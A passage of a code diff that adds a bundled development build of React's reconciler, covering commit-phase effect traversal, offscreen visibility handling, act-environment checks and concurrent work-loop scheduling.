+                offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || _wasHidden;
+                recursivelyTraverseMutationEffects(root2, finishedWork);
+                offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
+              } else {
+                recursivelyTraverseMutationEffects(root2, finishedWork);
+              }
+              commitReconciliationEffects(finishedWork);
+              if (flags & Visibility) {
+                var _offscreenInstance = finishedWork.stateNode;
+                var _newState = finishedWork.memoizedState;
+                var _isHidden = _newState !== null;
+                var offscreenBoundary = finishedWork;
+                _offscreenInstance.isHidden = _isHidden;
+                {
+                  if (_isHidden) {
+                    if (!_wasHidden) {
+                      if ((offscreenBoundary.mode & ConcurrentMode) !== NoMode) {
+                        nextEffect = offscreenBoundary;
+                        var offscreenChild = offscreenBoundary.child;
+                        while (offscreenChild !== null) {
+                          nextEffect = offscreenChild;
+                          disappearLayoutEffects_begin(offscreenChild);
+                          offscreenChild = offscreenChild.sibling;
+                        }
+                      }
+                    }
+                  }
+                }
+                {
+                  hideOrUnhideAllChildren(offscreenBoundary, _isHidden);
+                }
+              }
+              return;
+            }
+            case SuspenseListComponent: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              if (flags & Update) {
+                attachSuspenseRetryListeners(finishedWork);
+              }
+              return;
+            }
+            case ScopeComponent: {
+              return;
+            }
+            default: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              return;
+            }
+          }
+        }
+        function commitReconciliationEffects(finishedWork) {
+          var flags = finishedWork.flags;
+          if (flags & Placement) {
+            try {
+              commitPlacement(finishedWork);
+            } catch (error2) {
+              captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+            }
+            finishedWork.flags &= ~Placement;
+          }
+          if (flags & Hydrating) {
+            finishedWork.flags &= ~Hydrating;
+          }
+        }
+        function commitLayoutEffects(finishedWork, root2, committedLanes) {
+          inProgressLanes = committedLanes;
+          inProgressRoot = root2;
+          nextEffect = finishedWork;
+          commitLayoutEffects_begin(finishedWork, root2, committedLanes);
+          inProgressLanes = null;
+          inProgressRoot = null;
+        }
+        function commitLayoutEffects_begin(subtreeRoot, root2, committedLanes) {
+          var isModernRoot = (subtreeRoot.mode & ConcurrentMode) !== NoMode;
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            var firstChild = fiber.child;
+            if (fiber.tag === OffscreenComponent && isModernRoot) {
+              var isHidden = fiber.memoizedState !== null;
+              var newOffscreenSubtreeIsHidden = isHidden || offscreenSubtreeIsHidden;
+              if (newOffscreenSubtreeIsHidden) {
+                commitLayoutMountEffects_complete(subtreeRoot, root2, committedLanes);
+                continue;
+              } else {
+                var current2 = fiber.alternate;
+                var wasHidden = current2 !== null && current2.memoizedState !== null;
+                var newOffscreenSubtreeWasHidden = wasHidden || offscreenSubtreeWasHidden;
+                var prevOffscreenSubtreeIsHidden = offscreenSubtreeIsHidden;
+                var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
+                offscreenSubtreeIsHidden = newOffscreenSubtreeIsHidden;
+                offscreenSubtreeWasHidden = newOffscreenSubtreeWasHidden;
+                if (offscreenSubtreeWasHidden && !prevOffscreenSubtreeWasHidden) {
+                  nextEffect = fiber;
+                  reappearLayoutEffects_begin(fiber);
+                }
+                var child = firstChild;
+                while (child !== null) {
+                  nextEffect = child;
+                  commitLayoutEffects_begin(child, root2, committedLanes);
+                  child = child.sibling;
+                }
+                nextEffect = fiber;
+                offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden;
+                offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
+                commitLayoutMountEffects_complete(subtreeRoot, root2, committedLanes);
+                continue;
+              }
+            }
+            if ((fiber.subtreeFlags & LayoutMask) !== NoFlags && firstChild !== null) {
+              firstChild.return = fiber;
+              nextEffect = firstChild;
+            } else {
+              commitLayoutMountEffects_complete(subtreeRoot, root2, committedLanes);
+            }
+          }
+        }
+        function commitLayoutMountEffects_complete(subtreeRoot, root2, committedLanes) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            if ((fiber.flags & LayoutMask) !== NoFlags) {
+              var current2 = fiber.alternate;
+              setCurrentFiber(fiber);
+              try {
+                commitLayoutEffectOnFiber(root2, current2, fiber, committedLanes);
+              } catch (error2) {
+                captureCommitPhaseError(fiber, fiber.return, error2);
+              }
+              resetCurrentFiber();
+            }
+            if (fiber === subtreeRoot) {
+              nextEffect = null;
+              return;
+            }
+            var sibling = fiber.sibling;
+            if (sibling !== null) {
+              sibling.return = fiber.return;
+              nextEffect = sibling;
+              return;
+            }
+            nextEffect = fiber.return;
+          }
+        }
+        function disappearLayoutEffects_begin(subtreeRoot) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            var firstChild = fiber.child;
+            switch (fiber.tag) {
+              case FunctionComponent:
+              case ForwardRef:
+              case MemoComponent:
+              case SimpleMemoComponent: {
+                if (fiber.mode & ProfileMode) {
+                  try {
+                    startLayoutEffectTimer();
+                    commitHookEffectListUnmount(Layout, fiber, fiber.return);
+                  } finally {
+                    recordLayoutEffectDuration(fiber);
+                  }
+                } else {
+                  commitHookEffectListUnmount(Layout, fiber, fiber.return);
+                }
+                break;
+              }
+              case ClassComponent: {
+                safelyDetachRef(fiber, fiber.return);
+                var instance = fiber.stateNode;
+                if (typeof instance.componentWillUnmount === "function") {
+                  safelyCallComponentWillUnmount(fiber, fiber.return, instance);
+                }
+                break;
+              }
+              case HostComponent: {
+                safelyDetachRef(fiber, fiber.return);
+                break;
+              }
+              case OffscreenComponent: {
+                var isHidden = fiber.memoizedState !== null;
+                if (isHidden) {
+                  disappearLayoutEffects_complete(subtreeRoot);
+                  continue;
+                }
+                break;
+              }
+            }
+            if (firstChild !== null) {
+              firstChild.return = fiber;
+              nextEffect = firstChild;
+            } else {
+              disappearLayoutEffects_complete(subtreeRoot);
+            }
+          }
+        }
+        function disappearLayoutEffects_complete(subtreeRoot) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            if (fiber === subtreeRoot) {
+              nextEffect = null;
+              return;
+            }
+            var sibling = fiber.sibling;
+            if (sibling !== null) {
+              sibling.return = fiber.return;
+              nextEffect = sibling;
+              return;
+            }
+            nextEffect = fiber.return;
+          }
+        }
+        function reappearLayoutEffects_begin(subtreeRoot) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            var firstChild = fiber.child;
+            if (fiber.tag === OffscreenComponent) {
+              var isHidden = fiber.memoizedState !== null;
+              if (isHidden) {
+                reappearLayoutEffects_complete(subtreeRoot);
+                continue;
+              }
+            }
+            if (firstChild !== null) {
+              firstChild.return = fiber;
+              nextEffect = firstChild;
+            } else {
+              reappearLayoutEffects_complete(subtreeRoot);
+            }
+          }
+        }
+        function reappearLayoutEffects_complete(subtreeRoot) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            setCurrentFiber(fiber);
+            try {
+              reappearLayoutEffectsOnFiber(fiber);
+            } catch (error2) {
+              captureCommitPhaseError(fiber, fiber.return, error2);
+            }
+            resetCurrentFiber();
+            if (fiber === subtreeRoot) {
+              nextEffect = null;
+              return;
+            }
+            var sibling = fiber.sibling;
+            if (sibling !== null) {
+              sibling.return = fiber.return;
+              nextEffect = sibling;
+              return;
+            }
+            nextEffect = fiber.return;
+          }
+        }
+        function commitPassiveMountEffects(root2, finishedWork, committedLanes, committedTransitions) {
+          nextEffect = finishedWork;
+          commitPassiveMountEffects_begin(finishedWork, root2, committedLanes, committedTransitions);
+        }
+        function commitPassiveMountEffects_begin(subtreeRoot, root2, committedLanes, committedTransitions) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            var firstChild = fiber.child;
+            if ((fiber.subtreeFlags & PassiveMask) !== NoFlags && firstChild !== null) {
+              firstChild.return = fiber;
+              nextEffect = firstChild;
+            } else {
+              commitPassiveMountEffects_complete(subtreeRoot, root2, committedLanes, committedTransitions);
+            }
+          }
+        }
+        function commitPassiveMountEffects_complete(subtreeRoot, root2, committedLanes, committedTransitions) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            if ((fiber.flags & Passive) !== NoFlags) {
+              setCurrentFiber(fiber);
+              try {
+                commitPassiveMountOnFiber(root2, fiber, committedLanes, committedTransitions);
+              } catch (error2) {
+                captureCommitPhaseError(fiber, fiber.return, error2);
+              }
+              resetCurrentFiber();
+            }
+            if (fiber === subtreeRoot) {
+              nextEffect = null;
+              return;
+            }
+            var sibling = fiber.sibling;
+            if (sibling !== null) {
+              sibling.return = fiber.return;
+              nextEffect = sibling;
+              return;
+            }
+            nextEffect = fiber.return;
+          }
+        }
+        function commitPassiveMountOnFiber(finishedRoot, finishedWork, committedLanes, committedTransitions) {
+          switch (finishedWork.tag) {
+            case FunctionComponent:
+            case ForwardRef:
+            case SimpleMemoComponent: {
+              if (finishedWork.mode & ProfileMode) {
+                startPassiveEffectTimer();
+                try {
+                  commitHookEffectListMount(Passive$1 | HasEffect, finishedWork);
+                } finally {
+                  recordPassiveEffectDuration(finishedWork);
+                }
+              } else {
+                commitHookEffectListMount(Passive$1 | HasEffect, finishedWork);
+              }
+              break;
+            }
+          }
+        }
+        function commitPassiveUnmountEffects(firstChild) {
+          nextEffect = firstChild;
+          commitPassiveUnmountEffects_begin();
+        }
+        function commitPassiveUnmountEffects_begin() {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            var child = fiber.child;
+            if ((nextEffect.flags & ChildDeletion) !== NoFlags) {
+              var deletions = fiber.deletions;
+              if (deletions !== null) {
+                for (var i2 = 0; i2 < deletions.length; i2++) {
+                  var fiberToDelete = deletions[i2];
+                  nextEffect = fiberToDelete;
+                  commitPassiveUnmountEffectsInsideOfDeletedTree_begin(fiberToDelete, fiber);
+                }
+                {
+                  var previousFiber = fiber.alternate;
+                  if (previousFiber !== null) {
+                    var detachedChild = previousFiber.child;
+                    if (detachedChild !== null) {
+                      previousFiber.child = null;
+                      do {
+                        var detachedSibling = detachedChild.sibling;
+                        detachedChild.sibling = null;
+                        detachedChild = detachedSibling;
+                      } while (detachedChild !== null);
+                    }
+                  }
+                }
+                nextEffect = fiber;
+              }
+            }
+            if ((fiber.subtreeFlags & PassiveMask) !== NoFlags && child !== null) {
+              child.return = fiber;
+              nextEffect = child;
+            } else {
+              commitPassiveUnmountEffects_complete();
+            }
+          }
+        }
+        function commitPassiveUnmountEffects_complete() {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            if ((fiber.flags & Passive) !== NoFlags) {
+              setCurrentFiber(fiber);
+              commitPassiveUnmountOnFiber(fiber);
+              resetCurrentFiber();
+            }
+            var sibling = fiber.sibling;
+            if (sibling !== null) {
+              sibling.return = fiber.return;
+              nextEffect = sibling;
+              return;
+            }
+            nextEffect = fiber.return;
+          }
+        }
+        function commitPassiveUnmountOnFiber(finishedWork) {
+          switch (finishedWork.tag) {
+            case FunctionComponent:
+            case ForwardRef:
+            case SimpleMemoComponent: {
+              if (finishedWork.mode & ProfileMode) {
+                startPassiveEffectTimer();
+                commitHookEffectListUnmount(Passive$1 | HasEffect, finishedWork, finishedWork.return);
+                recordPassiveEffectDuration(finishedWork);
+              } else {
+                commitHookEffectListUnmount(Passive$1 | HasEffect, finishedWork, finishedWork.return);
+              }
+              break;
+            }
+          }
+        }
+        function commitPassiveUnmountEffectsInsideOfDeletedTree_begin(deletedSubtreeRoot, nearestMountedAncestor) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            setCurrentFiber(fiber);
+            commitPassiveUnmountInsideDeletedTreeOnFiber(fiber, nearestMountedAncestor);
+            resetCurrentFiber();
+            var child = fiber.child;
+            if (child !== null) {
+              child.return = fiber;
+              nextEffect = child;
+            } else {
+              commitPassiveUnmountEffectsInsideOfDeletedTree_complete(deletedSubtreeRoot);
+            }
+          }
+        }
+        function commitPassiveUnmountEffectsInsideOfDeletedTree_complete(deletedSubtreeRoot) {
+          while (nextEffect !== null) {
+            var fiber = nextEffect;
+            var sibling = fiber.sibling;
+            var returnFiber = fiber.return;
+            {
+              detachFiberAfterEffects(fiber);
+              if (fiber === deletedSubtreeRoot) {
+                nextEffect = null;
+                return;
+              }
+            }
+            if (sibling !== null) {
+              sibling.return = returnFiber;
+              nextEffect = sibling;
+              return;
+            }
+            nextEffect = returnFiber;
+          }
+        }
+        function commitPassiveUnmountInsideDeletedTreeOnFiber(current2, nearestMountedAncestor) {
+          switch (current2.tag) {
+            case FunctionComponent:
+            case ForwardRef:
+            case SimpleMemoComponent: {
+              if (current2.mode & ProfileMode) {
+                startPassiveEffectTimer();
+                commitHookEffectListUnmount(Passive$1, current2, nearestMountedAncestor);
+                recordPassiveEffectDuration(current2);
+              } else {
+                commitHookEffectListUnmount(Passive$1, current2, nearestMountedAncestor);
+              }
+              break;
+            }
+          }
+        }
+        function invokeLayoutEffectMountInDEV(fiber) {
+          {
+            switch (fiber.tag) {
+              case FunctionComponent:
+              case ForwardRef:
+              case SimpleMemoComponent: {
+                try {
+                  commitHookEffectListMount(Layout | HasEffect, fiber);
+                } catch (error2) {
+                  captureCommitPhaseError(fiber, fiber.return, error2);
+                }
+                break;
+              }
+              case ClassComponent: {
+                var instance = fiber.stateNode;
+                try {
+                  instance.componentDidMount();
+                } catch (error2) {
+                  captureCommitPhaseError(fiber, fiber.return, error2);
+                }
+                break;
+              }
+            }
+          }
+        }
+        function invokePassiveEffectMountInDEV(fiber) {
+          {
+            switch (fiber.tag) {
+              case FunctionComponent:
+              case ForwardRef:
+              case SimpleMemoComponent: {
+                try {
+                  commitHookEffectListMount(Passive$1 | HasEffect, fiber);
+                } catch (error2) {
+                  captureCommitPhaseError(fiber, fiber.return, error2);
+                }
+                break;
+              }
+            }
+          }
+        }
+        function invokeLayoutEffectUnmountInDEV(fiber) {
+          {
+            switch (fiber.tag) {
+              case FunctionComponent:
+              case ForwardRef:
+              case SimpleMemoComponent: {
+                try {
+                  commitHookEffectListUnmount(Layout | HasEffect, fiber, fiber.return);
+                } catch (error2) {
+                  captureCommitPhaseError(fiber, fiber.return, error2);
+                }
+                break;
+              }
+              case ClassComponent: {
+                var instance = fiber.stateNode;
+                if (typeof instance.componentWillUnmount === "function") {
+                  safelyCallComponentWillUnmount(fiber, fiber.return, instance);
+                }
+                break;
+              }
+            }
+          }
+        }
+        function invokePassiveEffectUnmountInDEV(fiber) {
+          {
+            switch (fiber.tag) {
+              case FunctionComponent:
+              case ForwardRef:
+              case SimpleMemoComponent: {
+                try {
+                  commitHookEffectListUnmount(Passive$1 | HasEffect, fiber, fiber.return);
+                } catch (error2) {
+                  captureCommitPhaseError(fiber, fiber.return, error2);
+                }
+              }
+            }
+          }
+        }
+        var COMPONENT_TYPE = 0;
+        var HAS_PSEUDO_CLASS_TYPE = 1;
+        var ROLE_TYPE = 2;
+        var TEST_NAME_TYPE = 3;
+        var TEXT_TYPE = 4;
+        if (typeof Symbol === "function" && Symbol.for) {
+          var symbolFor = Symbol.for;
+          COMPONENT_TYPE = symbolFor("selector.component");
+          HAS_PSEUDO_CLASS_TYPE = symbolFor("selector.has_pseudo_class");
+          ROLE_TYPE = symbolFor("selector.role");
+          TEST_NAME_TYPE = symbolFor("selector.test_id");
+          TEXT_TYPE = symbolFor("selector.text");
+        }
+        var commitHooks = [];
+        function onCommitRoot$1() {
+          {
+            commitHooks.forEach(function(commitHook) {
+              return commitHook();
+            });
+          }
+        }
+        var ReactCurrentActQueue = ReactSharedInternals.ReactCurrentActQueue;
+        function isLegacyActEnvironment(fiber) {
+          {
+            var isReactActEnvironmentGlobal = typeof IS_REACT_ACT_ENVIRONMENT !== "undefined" ? IS_REACT_ACT_ENVIRONMENT : void 0;
+            var jestIsDefined = typeof jest !== "undefined";
+            return jestIsDefined && isReactActEnvironmentGlobal !== false;
+          }
+        }
+        function isConcurrentActEnvironment() {
+          {
+            var isReactActEnvironmentGlobal = typeof IS_REACT_ACT_ENVIRONMENT !== "undefined" ? IS_REACT_ACT_ENVIRONMENT : void 0;
+            if (!isReactActEnvironmentGlobal && ReactCurrentActQueue.current !== null) {
+              error("The current testing environment is not configured to support act(...)");
+            }
+            return isReactActEnvironmentGlobal;
+          }
+        }
+        var ceil = Math.ceil;
+        var ReactCurrentDispatcher$2 = ReactSharedInternals.ReactCurrentDispatcher, ReactCurrentOwner$2 = ReactSharedInternals.ReactCurrentOwner, ReactCurrentBatchConfig$3 = ReactSharedInternals.ReactCurrentBatchConfig, ReactCurrentActQueue$1 = ReactSharedInternals.ReactCurrentActQueue;
+        var NoContext = 0;
+        var BatchedContext = 1;
+        var RenderContext = 2;
+        var CommitContext = 4;
+        var RootInProgress = 0;
+        var RootFatalErrored = 1;
+        var RootErrored = 2;
+        var RootSuspended = 3;
+        var RootSuspendedWithDelay = 4;
+        var RootCompleted = 5;
+        var RootDidNotComplete = 6;
+        var executionContext = NoContext;
+        var workInProgressRoot = null;
+        var workInProgress = null;
+        var workInProgressRootRenderLanes = NoLanes;
+        var subtreeRenderLanes = NoLanes;
+        var subtreeRenderLanesCursor = createCursor(NoLanes);
+        var workInProgressRootExitStatus = RootInProgress;
+        var workInProgressRootFatalError = null;
+        var workInProgressRootIncludedLanes = NoLanes;
+        var workInProgressRootSkippedLanes = NoLanes;
+        var workInProgressRootInterleavedUpdatedLanes = NoLanes;
+        var workInProgressRootPingedLanes = NoLanes;
+        var workInProgressRootConcurrentErrors = null;
+        var workInProgressRootRecoverableErrors = null;
+        var globalMostRecentFallbackTime = 0;
+        var FALLBACK_THROTTLE_MS = 500;
+        var workInProgressRootRenderTargetTime = Infinity;
+        var RENDER_TIMEOUT_MS = 500;
+        var workInProgressTransitions = null;
+        function resetRenderTimer() {
+          workInProgressRootRenderTargetTime = now() + RENDER_TIMEOUT_MS;
+        }
+        function getRenderTargetTime() {
+          return workInProgressRootRenderTargetTime;
+        }
+        var hasUncaughtError = false;
+        var firstUncaughtError = null;
+        var legacyErrorBoundariesThatAlreadyFailed = null;
+        var rootDoesHavePassiveEffects = false;
+        var rootWithPendingPassiveEffects = null;
+        var pendingPassiveEffectsLanes = NoLanes;
+        var pendingPassiveProfilerEffects = [];
+        var pendingPassiveTransitions = null;
+        var NESTED_UPDATE_LIMIT = 50;
+        var nestedUpdateCount = 0;
+        var rootWithNestedUpdates = null;
+        var isFlushingPassiveEffects = false;
+        var didScheduleUpdateDuringPassiveEffects = false;
+        var NESTED_PASSIVE_UPDATE_LIMIT = 50;
+        var nestedPassiveUpdateCount = 0;
+        var rootWithPassiveNestedUpdates = null;
+        var currentEventTime = NoTimestamp;
+        var currentEventTransitionLane = NoLanes;
+        var isRunningInsertionEffect = false;
+        function getWorkInProgressRoot() {
+          return workInProgressRoot;
+        }
+        function requestEventTime() {
+          if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
+            return now();
+          }
+          if (currentEventTime !== NoTimestamp) {
+            return currentEventTime;
+          }
+          currentEventTime = now();
+          return currentEventTime;
+        }
+        function requestUpdateLane(fiber) {
+          var mode = fiber.mode;
+          if ((mode & ConcurrentMode) === NoMode) {
+            return SyncLane;
+          } else if ((executionContext & RenderContext) !== NoContext && workInProgressRootRenderLanes !== NoLanes) {
+            return pickArbitraryLane(workInProgressRootRenderLanes);
+          }
+          var isTransition = requestCurrentTransition() !== NoTransition;
+          if (isTransition) {
+            if (ReactCurrentBatchConfig$3.transition !== null) {
+              var transition = ReactCurrentBatchConfig$3.transition;
+              if (!transition._updatedFibers) {
+                transition._updatedFibers = /* @__PURE__ */ new Set();
+              }
+              transition._updatedFibers.add(fiber);
+            }
+            if (currentEventTransitionLane === NoLane) {
+              currentEventTransitionLane = claimNextTransitionLane();
+            }
+            return currentEventTransitionLane;
+          }
+          var updateLane = getCurrentUpdatePriority();
+          if (updateLane !== NoLane) {
+            return updateLane;
+          }
+          var eventLane = getCurrentEventPriority();
+          return eventLane;
+        }
+        function requestRetryLane(fiber) {
+          var mode = fiber.mode;
+          if ((mode & ConcurrentMode) === NoMode) {
+            return SyncLane;
+          }
+          return claimNextRetryLane();
+        }
+        function scheduleUpdateOnFiber(root2, fiber, lane, eventTime) {
+          checkForNestedUpdates();
+          {
+            if (isRunningInsertionEffect) {
+              error("useInsertionEffect must not schedule updates.");
+            }
+          }
+          {
+            if (isFlushingPassiveEffects) {
+              didScheduleUpdateDuringPassiveEffects = true;
+            }
+          }
+          markRootUpdated(root2, lane, eventTime);
+          if ((executionContext & RenderContext) !== NoLanes && root2 === workInProgressRoot) {
+            warnAboutRenderPhaseUpdatesInDEV(fiber);
+          } else {
+            {
+              if (isDevToolsPresent) {
+                addFiberToLanesMap(root2, fiber, lane);
+              }
+            }
+            warnIfUpdatesNotWrappedWithActDEV(fiber);
+            if (root2 === workInProgressRoot) {
+              if ((executionContext & RenderContext) === NoContext) {
+                workInProgressRootInterleavedUpdatedLanes = mergeLanes(workInProgressRootInterleavedUpdatedLanes, lane);
+              }
+              if (workInProgressRootExitStatus === RootSuspendedWithDelay) {
+                markRootSuspended$1(root2, workInProgressRootRenderLanes);
+              }
+            }
+            ensureRootIsScheduled(root2, eventTime);
+            if (lane === SyncLane && executionContext === NoContext && (fiber.mode & ConcurrentMode) === NoMode && !ReactCurrentActQueue$1.isBatchingLegacy) {
+              resetRenderTimer();
+              flushSyncCallbacksOnlyInLegacyMode();
+            }
+          }
+        }
+        function scheduleInitialHydrationOnRoot(root2, lane, eventTime) {
+          var current2 = root2.current;
+          current2.lanes = lane;
+          markRootUpdated(root2, lane, eventTime);
+          ensureRootIsScheduled(root2, eventTime);
+        }
+        function isUnsafeClassRenderPhaseUpdate(fiber) {
+          return (executionContext & RenderContext) !== NoContext;
+        }
+        function ensureRootIsScheduled(root2, currentTime) {
+          var existingCallbackNode = root2.callbackNode;
+          markStarvedLanesAsExpired(root2, currentTime);
+          var nextLanes = getNextLanes(root2, root2 === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes);
+          if (nextLanes === NoLanes) {
+            if (existingCallbackNode !== null) {
+              cancelCallback$1(existingCallbackNode);
+            }
+            root2.callbackNode = null;
+            root2.callbackPriority = NoLane;
+            return;
+          }
+          var newCallbackPriority = getHighestPriorityLane(nextLanes);
+          var existingCallbackPriority = root2.callbackPriority;
+          if (existingCallbackPriority === newCallbackPriority && !(ReactCurrentActQueue$1.current !== null && existingCallbackNode !== fakeActCallbackNode)) {
+            {
+              if (existingCallbackNode == null && existingCallbackPriority !== SyncLane) {
+                error("Expected scheduled callback to exist. This error is likely caused by a bug in React. Please file an issue.");
+              }
+            }
+            return;
+          }
+          if (existingCallbackNode != null) {
+            cancelCallback$1(existingCallbackNode);
+          }
+          var newCallbackNode;
+          if (newCallbackPriority === SyncLane) {
+            if (root2.tag === LegacyRoot) {
+              if (ReactCurrentActQueue$1.isBatchingLegacy !== null) {
+                ReactCurrentActQueue$1.didScheduleLegacyUpdate = true;
+              }
+              scheduleLegacySyncCallback(performSyncWorkOnRoot.bind(null, root2));
+            } else {
+              scheduleSyncCallback(performSyncWorkOnRoot.bind(null, root2));
+            }
+            {
+              if (ReactCurrentActQueue$1.current !== null) {
+                ReactCurrentActQueue$1.current.push(flushSyncCallbacks);
+              } else {
+                scheduleMicrotask(function() {
+                  if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
+                    flushSyncCallbacks();
+                  }
+                });
+              }
+            }
+            newCallbackNode = null;
+          } else {
+            var schedulerPriorityLevel;
+            switch (lanesToEventPriority(nextLanes)) {
+              case DiscreteEventPriority:
+                schedulerPriorityLevel = ImmediatePriority;
+                break;
+              case ContinuousEventPriority:
+                schedulerPriorityLevel = UserBlockingPriority;
+                break;
+              case DefaultEventPriority:
+                schedulerPriorityLevel = NormalPriority;
+                break;
+              case IdleEventPriority:
+                schedulerPriorityLevel = IdlePriority;
+                break;
+              default:
+                schedulerPriorityLevel = NormalPriority;
+                break;
+            }
+            newCallbackNode = scheduleCallback$1(schedulerPriorityLevel, performConcurrentWorkOnRoot.bind(null, root2));
+          }
+          root2.callbackPriority = newCallbackPriority;
+          root2.callbackNode = newCallbackNode;
+        }
+        function performConcurrentWorkOnRoot(root2, didTimeout) {
+          {
+            resetNestedUpdateFlag();
+          }
+          currentEventTime = NoTimestamp;
+          currentEventTransitionLane = NoLanes;
+          if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
+            throw new Error("Should not already be working.");
+          }
+          var originalCallbackNode = root2.callbackNode;
+          var didFlushPassiveEffects = flushPassiveEffects();
+          if (didFlushPassiveEffects) {
+            if (root2.callbackNode !== originalCallbackNode) {
+              return null;
+            }
+          }
+          var lanes = getNextLanes(root2, root2 === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes);
+          if (lanes === NoLanes) {
+            return null;
+          }
+          var shouldTimeSlice = !includesBlockingLane(root2, lanes) && !includesExpiredLane(root2, lanes) && !didTimeout;
+          var exitStatus = shouldTimeSlice ? renderRootConcurrent(root2, lanes) : renderRootSync(root2, lanes);
+          if (exitStatus !== RootInProgress) {
+            if (exitStatus === RootErrored) {
+              var errorRetryLanes = getLanesToRetrySynchronouslyOnError(root2);
+              if (errorRetryLanes !== NoLanes) {
+                lanes = errorRetryLanes;
+                exitStatus = recoverFromConcurrentError(root2, errorRetryLanes);
+              }
+            }
+            if (exitStatus === RootFatalErrored) {
+              var fatalError = workInProgressRootFatalError;
+              prepareFreshStack(root2, NoLanes);
+              markRootSuspended$1(root2, lanes);
+              ensureRootIsScheduled(root2, now());
+              throw fatalError;
+            }
+            if (exitStatus === RootDidNotComplete) {
+              markRootSuspended$1(root2, lanes);
+            } else {
+              var renderWasConcurrent = !includesBlockingLane(root2, lanes);
+              var finishedWork = root2.current.alternate;
+              if (renderWasConcurrent && !isRenderConsistentWithExternalStores(finishedWork)) {
+                exitStatus = renderRootSync(root2, lanes);
+                if (exitStatus === RootErrored) {
+                  var _errorRetryLanes = getLanesToRetrySynchronouslyOnError(root2);
+                  if (_errorRetryLanes !== NoLanes) {
+                    lanes = _errorRetryLanes;
+                    exitStatus = recoverFromConcurrentError(root2, _errorRetryLanes);
+                  }
+                }
+                if (exitStatus === RootFatalErrored) {
+                  var _fatalError = workInProgressRootFatalError;
+                  prepareFreshStack(root2, NoLanes);
+                  markRootSuspended$1(root2, lanes);
+                  ensureRootIsScheduled(root2, now());
+                  throw _fatalError;
+                }
+              }
+              root2.finishedWork = finishedWork;
+              root2.finishedLanes = lanes;
+              finishConcurrentRender(root2, exitStatus, lanes);
+            }
+          }
+          ensureRootIsScheduled(root2, now());
+          if (root2.callbackNode === originalCallbackNode) {
+            return performConcurrentWorkOnRoot.bind(null, root2);
+          }
+          return null;
+        }
+        function recoverFromConcurrentError(root2, errorRetryLanes) {
+          var errorsFromFirstAttempt = workInProgressRootConcurrentErrors;
+          if (isRootDehydrated(root2)) {
+            var rootWorkInProgress = prepareFreshStack(root2, errorRetryLanes);
+            rootWorkInProgress.flags |= ForceClientRender;
+            {
+              errorHydratingContainer(root2.containerInfo);
+            }
+          }
+          var exitStatus = renderRootSync(root2, errorRetryLanes);
+          if (exitStatus !== RootErrored) {
+            var errorsFromSecondAttempt = workInProgressRootRecoverableErrors;
+            workInProgressRootRecoverableErrors = errorsFromFirstAttempt;
+            if (errorsFromSecondAttempt !== null) {
+              queueRecoverableErrors(errorsFromSecondAttempt);
+            }
+          }
+          return exitStatus;
+        }
+        function queueRecoverableErrors(errors) {
+          if (workInProgressRootRecoverableErrors === null) {
+            workInProgressRootRecoverableErrors = errors;
+          } else {
+            workInProgressRootRecoverableErrors.push.apply(workInProgressRootRecoverableErrors, errors);
+          }
+        }
+        function finishConcurrentRender(root2, exitStatus, lanes) {
+          switch (exitStatus) {
+            case RootInProgress:
+            case RootFatalErrored: {
+              throw new Error("Root did not complete. This is a bug in React.");
+            }
+            case RootErrored: {
+              commitRoot(root2, workInProgressRootRecoverableErrors, workInProgressTransitions);
+              break;
+            }
+            case RootSuspended: {
+              markRootSuspended$1(root2, lanes);
+              if (includesOnlyRetries(lanes) && !shouldForceFlushFallbacksInDEV()) {
+                var msUntilTimeout = globalMostRecentFallbackTime + FALLBACK_THROTTLE_MS - now();
+                if (msUntilTimeout > 10) {
+                  var nextLanes = getNextLanes(root2, NoLanes);
+                  if (nextLanes !== NoLanes) {
+                    break;
+                  }
+                  var suspendedLanes = root2.suspendedLanes;
+                  if (!isSubsetOfLanes(suspendedLanes, lanes)) {
+                    var eventTime = requestEventTime();
+                    markRootPinged(root2, suspendedLanes);
+                    break;
+                  }
+                  root2.timeoutHandle = scheduleTimeout(commitRoot.bind(null, root2, workInProgressRootRecoverableErrors, workInProgressTransitions), msUntilTimeout);
+                  break;
+                }
+              }
+              commitRoot(root2, workInProgressRootRecoverableErrors, workInProgressTransitions);
+              break;
+            }
+            case RootSuspendedWithDelay: {
+              markRootSuspended$1(root2, lanes);
+              if (includesOnlyTransitions(lanes)) {
+                break;
+              }
+              if (!shouldForceFlushFallbacksInDEV()) {
+                var mostRecentEventTime = getMostRecentEventTime(root2, lanes);
+                var eventTimeMs = mostRecentEventTime;
+                var timeElapsedMs = now() - eventTimeMs;
+                var _msUntilTimeout = jnd(timeElapsedMs) - timeElapsedMs;
+                if (_msUntilTimeout > 10) {
+                  root2.timeoutHandle = scheduleTimeout(commitRoot.bind(null, root2, workInProgressRootRecoverableErrors, workInProgressTransitions), _msUntilTimeout);
+                  break;
+                }
+              }
+              commitRoot(root2, workInProgressRootRecoverableErrors, workInProgressTransitions);
+              break;
+            }
+            case RootCompleted: {
+              commitRoot(root2, workInProgressRootRecoverableErrors, workInProgressTransitions);
+              break;
+            }
+            default: {
+              throw new Error("Unknown root exit status.");
+            }
+          }
+        }
+        function isRenderConsistentWithExternalStores(finishedWork) {
